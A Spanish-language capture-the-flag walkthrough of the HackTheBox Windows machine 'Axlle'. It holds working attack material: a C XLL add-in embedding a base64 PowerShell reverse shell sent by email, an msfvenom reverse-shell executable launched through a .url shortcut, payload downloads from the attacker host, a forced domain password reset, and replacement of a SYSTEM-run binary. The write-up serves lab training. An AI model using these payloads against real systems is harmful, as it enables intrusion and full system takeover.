Axlle – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Hard / Difícil
  • Platform: HackTheBox

‘Axlle’ Avatar


Resumen Link to heading

“Axlle” es una máquina de dificultad Dificil de la plafatorma HackTheBox. La máquina web se encuentra corriendo un servicio de mails. Este servicio mails acepta archivos DLL los cuales pueden ser manipulados para ganar acceso ala máquina víctima. Una vez dentro, somos capaces de localizar un directorio el cual está ejecutando archivos de URL; podemos usar esta tarea para ejecutar un binario malicioso y pivotear de usuario. Este segundo usuario puede cambiar la contraseña de un tercer usuario el cual tiene, además, acceso a la máquina víctima a través de WinRM. Una vez como este nuevo trecer usuario, éste puede modificar un script que es ejecutado por SYSTEM lo cual nos permite tomar control total de la máquina víctima.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap revisando puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.21

Encontramos múltiples puertos abiertos tales como: 25 Simple Mail Transfer Protocol, 53 Domain Name System, 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol, 445 Server Message Block, 5985 Windows Remote Management; entre otros:

❯ sudo nmap -sVC -p25,53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,51940,51942,51943,51950,51959 10.10.11.21

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 19:26 -04
Nmap scan report for 10.10.11.21
Host is up (0.32s latency).

PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Axlle Development
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-08-13 23:26:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
51940/tcp open  msrpc         Microsoft Windows RPC
51942/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
51943/tcp open  msrpc         Microsoft Windows RPC
51950/tcp open  msrpc         Microsoft Windows RPC
51959/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1s
| smb2-time:
|   date: 2024-08-13T23:27:41
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.13 seconds

Visitando http://10.10.11.21 (la IP de la máquina víctima) muestra un simple sitio web bajo desarrollo:

Axlle 1

El sitio web sólo presenta un mail de contacto accounts@axlle.htb. Por otro lado, ninguno de los botones funciona en la web.

Usamos entonces la herramienta enum4linux-ng (la cual puede ser descargada desde su repositorio de Github) para buscar información acerca de el dominio de la máquina (ya que ésta se encontraba corriendo servicios como SMB y Kerberos), obteniendo así:

❯ python3 enum4linux-ng.py 10.10.11.21
ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.21
[*] Username ......... ''
[*] Random Username .. 'myngnltw'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

<SNIP>

 ===================================================
|    Domain Information via LDAP for 10.10.11.21    |
 ===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: axlle.htb

<SNIP>

 ==========================================================
|    Domain Information via SMB session for 10.10.11.21    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: MAINFRAME
NetBIOS domain name: AXLLE
DNS domain: axlle.htb
FQDN: MAINFRAME.axlle.htb
Derived membership: domain member
Derived domain: AXLLE

<SNIP>

Del escaneo tenemos un dominio: axlle.htb. Lo agregamos a nuestro archivo /etc/hosts ejecutando:

❯ echo '10.10.11.21 axlle.htb' | sudo tee -a /etc/hosts

Ya en este punto también buscamos por directorio que pudiesen estar ocultos a través de un Brute Force Directory Listing con Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.21 -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.21
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 149] [--> http://10.10.11.21/assets/]
/css                  (Status: 301) [Size: 146] [--> http://10.10.11.21/css/]
/js                   (Status: 301) [Size: 145] [--> http://10.10.11.21/js/]
/Assets               (Status: 301) [Size: 149] [--> http://10.10.11.21/Assets/]
/CSS                  (Status: 301) [Size: 146] [--> http://10.10.11.21/CSS/]
/JS                   (Status: 301) [Size: 145] [--> http://10.10.11.21/JS/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

pero no hallamos nada.

Podemos recordar que el puerto 25 estaba abierto y corriendo un servicio SMTP (mail). Esto no es tan usual en entornos de Active Directory.

Una pista acerca de la máquina es su nombre, Axlle. Quizás los tiros vayan por archivos XLL (y de allí “aXLLe”).

Buscamos qué es XLL, donde hallamos una definición basados en la documentación oficial de Microsoft:

Información
Un complemento XLL es un archivo de complemento de Excel con la extensión de archivo .xll. Un archivo XLL es un tipo de archivo de biblioteca de vínculos dinámicos (DLL) que solo Excel puede abrir. Los archivos de complemento XLL deben escribirse en C o C++.

De manera que podría haber una conexión entre los archivos .xll y el servicio de mail. Buscando cómo crear archivos XLL maliciosos encontramos este repositorio de Github y este post de Skiwsskyrepo acerca de XLL. En mi caso me enfocaré en el segundo. Allí entregan un ejemplo de código:

#include <Windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void); 

void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("cmd.exe /c notepad.exe", 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                    DWORD  ul_reason_for_call,
                    LPVOID lpReserved
                    )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Donde debemos cambiar #include <Windows.h> a #include <windows.h> por motivos que veremos más adelante (o tirará un error al tratar de compilarlo).

Ahora vamos a modificar el payload que se ejecuta. Para ello vamos a la página de Reverse Shell Generator (https://www.revshells.com/), elegimos un payload del tipo PowerShell #3 (Base64), ponemos nuestra máquina de atacante (10.10.16.2 en mi caso) y puerto 443 (puerto en el cual nos pondremos en escucha con netcat). Copiando el payload generado y agregándolo a nuestro código para el archivo DLL, ahora éste se ve como:

#include <windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void); 

void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA", 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                    DWORD  ul_reason_for_call,
                    LPVOID lpReserved
                    )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Y lo guardamos en un archivo llamado payload.c.

Finalmente, debemos compilarlo. Podríamos compilarlo en una máquina Windows; o podríamos compilarlo en una máquina Linux usando la herramienta mingw. Podemos instalarla con:

❯ sudo apt install mingw-w64 -y

Y, ya instalada, compilar el código en C ejecutando:

❯ x86_64-w64-mingw32-gcc -fPIC -luser32 -shared -o payload.xll payload.c

Del escaneo de Nmap, como ya habíamos mencionado, el servicio SMTP (mail) está disponible y tenemos un contacto de la página web principal llamado accounts@axlle.htb. Empezamos un listener con netcat por el puerto 443 junto con rlwrap:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

y enviamos un email al usuario encontrado adjuntando el archivo .xll usando la herramienta swaks:

❯ swaks --to accounts@axlle.htb --from gunzf0x@htb.com --header "Subject: I love you" --body "Cheers" --attach @payload.xll

=== Trying axlle.htb:25...
=== Connected to axlle.htb.
<-  220 MAINFRAME ESMTP
 -> EHLO kali.gunzf0x
<-  250-MAINFRAME
<-  250-SIZE 20480000
<SNIP>
 -> .
<-  250 Queued (11.297 seconds)
 -> QUIT
<-  221 goodbye
=== Connection closed with remote host.

Luego de algunos segundos, obtenemos una conexión como el usuario gideon.hamill:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.21] 63213
whoami

axlle\gideon.hamill
PS C:\>

En lo personal la intrusión es muy rebuscada, pero bueno. Continuemos.

En el directorio C:\Program Files (x86) podemos ver otro directorio llamado hMailServer, el cual está relacionado al servicio SMTP (como se puede ver en el escaneo con Nmap):

PS C:\Program Files (x86)> dir


    Directory: C:\Program Files (x86)


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        12/31/2023   9:50 PM                Common Files
d-----          1/1/2024   3:33 AM                hMailServer
d-----         6/12/2024  11:11 PM                Internet Explorer
d-----         6/13/2024   2:27 AM                Microsoft
<SNIP>

Dentro de éste tenemos:

PS C:\Program Files (x86)\hMailServer> dir


    Directory: C:\Program Files (x86)\hMailServer


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          1/1/2024   3:33 AM                Addons
d-----          1/1/2024   3:33 AM                Bin
d-----         8/13/2024   5:24 PM                Data
d-----          1/1/2024   3:33 AM                Database
d-----          1/1/2024   3:33 AM                DBScripts
d-----         6/24/2024   4:09 PM                Events
d-----          1/1/2024   3:33 AM                Languages
d-----          1/1/2024   3:33 AM                Logs
d-----          1/1/2024   3:33 AM                PHPWebAdmin
d-----          1/1/2024   3:33 AM                Temp
-a----          1/1/2024   3:33 AM          56839 unins000.dat
-a----          1/1/2024   3:33 AM         718530 unins000.exe

Luego de inspeccionar los directorios, el con nombre Data tiene datos relacionados a otro usuario llamado dallon.matrix. Buscando por más archivos dentro de este directorio tenemos:

PS C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F> dir


    Directory: C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          1/1/2024   6:32 AM            997 {2F7523BD-628F-4359-913E-A873FCC59D0F}.eml

Hay un archivo .eml. Leyéndolo retorna:

PS C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F> type *

Return-Path: webdevs@axlle.htb
Received: from bumbag (Unknown [192.168.77.153])
        by MAINFRAME with ESMTP
        ; Mon, 1 Jan 2024 06:32:24 -0800
Date: Tue, 02 Jan 2024 01:32:23 +1100
To: dallon.matrix@axlle.htb,calum.scott@axlle.htb,trent.langdon@axlle.htb,dan.kendo@axlle.htb,david.brice@axlle.htb,frankie.rose@axlle.htb,samantha.fade@axlle.htb,jess.adams@axlle.htb,emily.cook@axlle.htb,phoebe.graham@axlle.htb,matt.drew@axlle.htb,xavier.edmund@axlle.htb,baz.humphries@axlle.htb,jacob.greeny@axlle.htb
From: webdevs@axlle.htb
Subject: OSINT Application Testing
Message-Id: <20240102013223.019081@bumbag>
X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/

Hi everyone,

The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.

We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.

Yours in click-worthy URLs,

The Web Dev Team

El mensaje básicamente dice que podemos poner shortcuts de urls (asumo que archivos) en el directorio C:\inetpub\testing. Si nos movemos a este directorio éste se encuentre vacío:

PS C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F> cd C:\inetpub\testing

PS C:\inetpub\testing> dir

De manera que deberíamos de tratar dos cosas:

  1. Crer un archivo .url malicoso que apunte a algún archivo .exe,
  2. Crear un archivo .exe que ejecute un comando (por ejemplo, algo que nos dé una reverse shell).

Para el primer paso creamos un archivo .url en nuestra máquina de atacantes basados en este post y este post:

[InternetShortcut]
URL=file:///C:/Users/Public/reverse.exe

y lo guardamos como malicious.url. Esto hará que se ejecute un archivo con ruta C:\Users\Public\reverse.exe.

Luego, creamos un archivo malicioso .exe usando msfvenom:

❯ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 -f exe -o reverse.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe

Ahora tenemos que pasar estos archivos a la máquina víctima. Además, empezamos un nuevo listener con netcat en el puerto 443. Exponemos ambos archivos a través de un servidor HTTP temporal usando Python en el puerto 8000:

❯ ls -la && python3 -m http.server 8000

total 20
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 13 20:57 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Aug 13 19:21 ..
-rw-rw-r-- 1 gunzf0x gunzf0x   59 Aug 13 20:53 malicious.url
-rw-rw-r-- 1 gunzf0x gunzf0x 7168 Aug 13 20:56 reverse.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y descargamos ambos archivos en la máquina víctima usando wget:

PS C:\inetpub\testing> wget http://10.10.16.2:8000/reverse.exe -OutFile C:\Users\Public\Downloads\reverse.exe

PS C:\inetpub\testing> wget http://10.10.16.2:8000/malicious.url -OutFile C:\inetpub\testing\malicious.url

Esperando algunos segundos luego de subir malicious.url en el directorio C:\inetpub\testing\ obtenemos una nueva shell como el usuario dallon.matrix:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.21] 59400
Microsoft Windows [Version 10.0.20348.2527]
(c) Microsoft Corporation. All rights reserved.

C:\>whoami

whoami
axlle\dallon.matrix

Podemos obtener la flag de usuario en el Desktop de dallon.matrix.


NT Authority/System - Administrador Link to heading

Buscando a qué grupos pertenece este nuevo usuario, notamos un grupo personalizado llamado Web Devs:

C:\>net user dallon.matrix

net user dallon.matrix
User name                    dallon.matrix
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/13/2024 1:04:25 AM
Password expires             Never
Password changeable          6/14/2024 1:04:25 AM
Password required            Yes
User may change password     Yes

Workstations allowed         MAINFRAME
Logon script
User profile
Home directory
Last logon                   8/13/2024 6:01:12 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Web Devs             *Domain Users
The command completed successfully.

Dado que estamos en un entorno Active Directory, y dado que queremos saber qué privilegios tiene este grupo, es que usaremos SharpHound.exe. Luego de descargarlo, lo exponemos en un servidor HTTP Python temporal en el puerto 8000:

❯ ls -la && python3 -m http.server 8000

total 1044
drwxrwxr-x 2 gunzf0x gunzf0x    4096 Aug 13 21:06 .
drwxrwxr-x 5 gunzf0x gunzf0x    4096 Aug 13 19:21 ..
-rw-rw-r-- 1 gunzf0x gunzf0x      69 Aug 13 21:00 malicious.url
-rw-rw-r-- 1 gunzf0x gunzf0x    7168 Aug 13 20:56 reverse.exe
-rw-r--r-- 1 gunzf0x gunzf0x 1046528 Aug 13 21:06 SharpHound.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Ahora usamos la shell del usuario gideon.hamill (la primera que habíamos obtenido), dado que la shell con dallon.matrix no me reconocía el comando wget por alguna razón. Descargamos el binario:

PS C:\inetpub\testing> wget http://10.10.16.2:8000/SharpHound.exe -OutFile C:\Users\Public\Downloads\sharphound.exe

Y de vuelta a la shell de dallon.matrix (o en la misma shell de gideon.hill, esto es irrelevante), ejecutamos SharpHound:

C:\Users\Public\Downloads>.\sharphound.exe -c All

.\sharphound.exe -c All
2024-08-13T18:21:39.9956061-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2024-08-13T18:21:40.1206027-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-08-13T18:21:40.1363082-07:00|INFORMATION|Initializing SharpHound at 6:21 PM on 8/13/2024
2024-08-13T18:21:40.2456101-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for axlle.htb : MAINFRAME.axlle.htb
2024-08-13T18:21:40.2768551-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-08-13T18:21:40.4018529-07:00|INFORMATION|Beginning LDAP search for axlle.htb
2024-08-13T18:21:40.4331033-07:00|INFORMATION|Producer has finished, closing LDAP channel
2024-08-13T18:21:40.4331033-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-08-13T18:22:10.6987352-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 37 MB RAM
2024-08-13T18:22:28.8706152-07:00|INFORMATION|Consumers finished, closing output channel
2024-08-13T18:22:28.9018534-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2024-08-13T18:22:29.0424806-07:00|INFORMATION|Status: 113 objects finished (+113 2.354167)/s -- Using 45 MB RAM
2024-08-13T18:22:29.0424806-07:00|INFORMATION|Enumeration finished in 00:00:48.6327872
2024-08-13T18:22:29.0893584-07:00|INFORMATION|Saving cache with stats: 72 ID to type mappings.
 72 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2024-08-13T18:22:29.1049840-07:00|INFORMATION|SharpHound Enumeration Completed at 6:22 PM on 8/13/2024! Happy Graphing!

Esto genera un par de archivos:

C:\Users\Public\Downloads>dir

dir
 Volume in drive C has no label.
 Volume Serial Number is BFF7-F940

 Directory of C:\Users\Public\Downloads

08/13/2024  06:22 PM    <DIR>          .
01/22/2023  02:35 AM    <DIR>          ..
08/13/2024  06:22 PM            12,879 20240813182228_BloodHound.zip
08/13/2024  06:00 PM             7,168 reverse.exe
08/13/2024  06:19 PM         1,046,528 sharphound.exe
08/13/2024  06:22 PM            10,400 ZTI1NDZmYzYtMzhjNi00YTE0LTk2ZTYtN2ZiOGYzOTY1OGMw.bin
               4 File(s)      1,076,975 bytes
               2 Dir(s)   2,950,033,408 bytes free

En nuestro caso el que nos interesa es el archivo .zip generado.

Para pasar el archivo .zip desde la máquina víctima a nuestra máquina de atacantes, empezamos un servicio SMB en esta última. En nuestra máquina de atacantes usamos smbserver.py de Impacket:

❯ python3 /usr/share/doc/python3-impacket/examples/smbserver.py smb2Folder $(pwd) -smb2support -username gunzf0x -password gunzf0x123

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

En la máquina víctima nos conectamos al recurso compartido llamado smb2Folder y copiamos el archivo deseado:

C:\Users\Public\Downloads>net use \\10.10.16.2\smb2Folder /u:gunzf0x gunzf0x123

net use \\10.10.16.2\smb2Folder /u:gunzf0x gunzf0x123
The command completed successfully.


C:\Users\Public\Downloads>copy .\20240813182228_BloodHound.zip \\10.10.16.2\smb2Folder\

copy .\20240813182228_BloodHound.zip \\10.10.16.2\smb2Folder\
        1 file(s) copied.

y borramos la conexión:

C:\Users\Public\Downloads>net use /d \\10.10.16.2\smb2Folder

net use /d \\10.10.16.2\smb2Folder
\\10.10.16.2\smb2Folder was deleted successfully.

Luego, usaremos Bloodhound (en este WriteUp usamos la versión vieja, no la Community Edition que está más actualizada y es la que se usa actualmente). Empezamos el servicio ejecutando:

❯ sudo neo4j console

y en otra consola corremos:

❯ bloodhound &> /dev/null & disown

Una vez dentro de Bloodhound, exportamos el archivo .zip descargado. Notamos que el grupo Web Devs tiene el permiso ForceChangePassword para cambiar la contraseña de 2 usuarios: baz.humphries y jacob.greeny:

Axlle 3

Ambos usuarios son miembros del grupo App Devs:

Axlle 4

Este grupo se ve prometedor. Por ende, trataremos de cambiar la contraseña de uno de estos dos usuarios. Para ello podemos usar la herramienta PowerView.ps1, la cual puede ser descargada desde su repositorio de Github. Exponemos el archivo .ps1 como ya hemos hecho previamente (con el servidor de Python HTTP, etc). Luego, en la máquina víctima importamos el módulo y cambiamos la contraseña del usuario baz.humphries. Para ello ejecutamos:

C:\Users\Public\Downloads>powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Public\Downloads> Import-Module .\PowerView.ps1

Import-Module .\PowerView.ps1

PS C:\Users\Public\Downloads> $NewPassword = ConvertTo-SecureString 'gunzf0x123$!' -AsPlainText -Force

$NewPassword = ConvertTo-SecureString 'gunzf0x123$!' -AsPlainText -Force

PS C:\Users\Public\Downloads> Set-DomainUserPassword -Identity baz.humphries -AccountPassword $NewPassword

Set-DomainUserPassword -Identity baz.humphries -AccountPassword $NewPassword

Además, el mapeo con Bloodhound también muestra que el grupo App Devs (grupo al cual pertenece el usuario al que le hemos cambiado la contraseña) tiene permisos para conectarse remotamente a la máquina víctima. Dado que el servicio WinRM estaba disponible, tratamos de loguearnos como el usuario jacob.greeny con su nueva contraseña cambiada a través de la herramienta evil-winrm:

❯ evil-winrm -i 10.10.11.21 -u baz.humphries -p 'gunzf0x123$!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\baz.humphries\Documents> whoami

axlle\baz.humphries

Funcionó.

En el directorio C:\ existe un directorio App Development:

*Evil-WinRM* PS C:\> cd 'App Development'

*Evil-WinRM* PS C:\App Development> dir


    Directory: C:\App Development


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          1/1/2024  10:03 PM                kbfiltr


*Evil-WinRM* PS C:\App Development> cd kbfiltr
*Evil-WinRM* PS C:\App Development\kbfiltr> dir


    Directory: C:\App Development\kbfiltr


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          1/1/2024  10:03 PM                exe
d-----          1/1/2024  10:03 PM                sys
-a----        12/14/2023  11:39 AM           2528 kbfiltr.sln
-a----         6/11/2024  11:16 PM           2805 README.md

Leyendo el archivo README.md muestra algo:

*Evil-WinRM* PS C:\App Development\kbfiltr> type README.md

# Keyboard Translation Program
This is an application in development that uses a WDF kbfiltr as the basis for a translation program. The aim of this application is to allow users to program and simulate custom keyboard layouts for real or fictional languages.

<SNIP>
- Simulation of other keyboard layouts - Incomplete
- Activation of other keyboard layouts - Incomplete

**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**

## Prerequisites
- Windows 10 or higher
- Visual Studio 2019
- Windows Driver Kit (WDK) 10
<SNIP>

Mucho texto. Pero hay algo interesante:

**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**

En resumen, hay un binario llamado standalonerunner.exe corriendo como SYSTEM en el directorio mencionado. El plan es bastante simple: reemplazar standalonerunner.exe con un binario el cual nos envía una reverse shell. Podemos ir al directorio mencionado en el archivo previo y ver qué archivos hay en él:

*Evil-WinRM* PS C:\App Development\kbfiltr> cd C:\'Program Files (x86)'\'Windows Kits'\10\Testing\StandaloneTesting\Internal\x64\

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> dir


    Directory: C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/30/2023   3:08 AM          33392 standalonerunner.exe
-a----         9/30/2023   3:08 AM          43632 standalonexml.dll

Podemos ver 2 archivos, entre ellos el archivo .exe mencionado.

Podemos usar icacls para ver qué permisos tenemos sobre el archivo .exe:

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> icacls standalonerunner.exe
standalonerunner.exe AXLLE\App Devs:(RX,W)
                     Everyone:(R)
                     AXLLE\Administrator:(F)
                     NT AUTHORITY\SYSTEM:(F)
                     BUILTIN\Administrators:(F)
                     BUILTIN\Users:(RX)
                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)

Los miembros del grupo App Devs pueden escribir (y, por tanto, reemplazar/sobreescribir) sobre este archivo.

Podemos “reciclar” el archivo .exe generado por msfvenom (el que usamos para abuscar del archivo .url), copiarlo y reemplazar standalonerunner.exe con este. Antes de ello recordar empezar un nuevo listener con netcat en el puerto 443. En nuestra máquina de atacante creamos una copia del archivo reverse.exe:

❯ cp reverse.exe standalonerunner.exe

y la subimos usando la función upload de evil-winrm:

*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> upload standalonerunner.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Axlle/exploits/standalonerunner.exe to C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe

Data: 9556 bytes of 9556 bytes copied

Info: Upload successful!

Esperando algún tiempo, obtenemos una conexión en nuestro listener con netcat:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.21] 59400
Microsoft Windows [Version 10.0.20348.2527]
(c) Microsoft Corporation. All rights reserved.

C:\>whoami

whoami
axlle\administrator

GG! Podemos leer la flag root.txt en el Desktop del usuario Administrator.

~Happy Hacking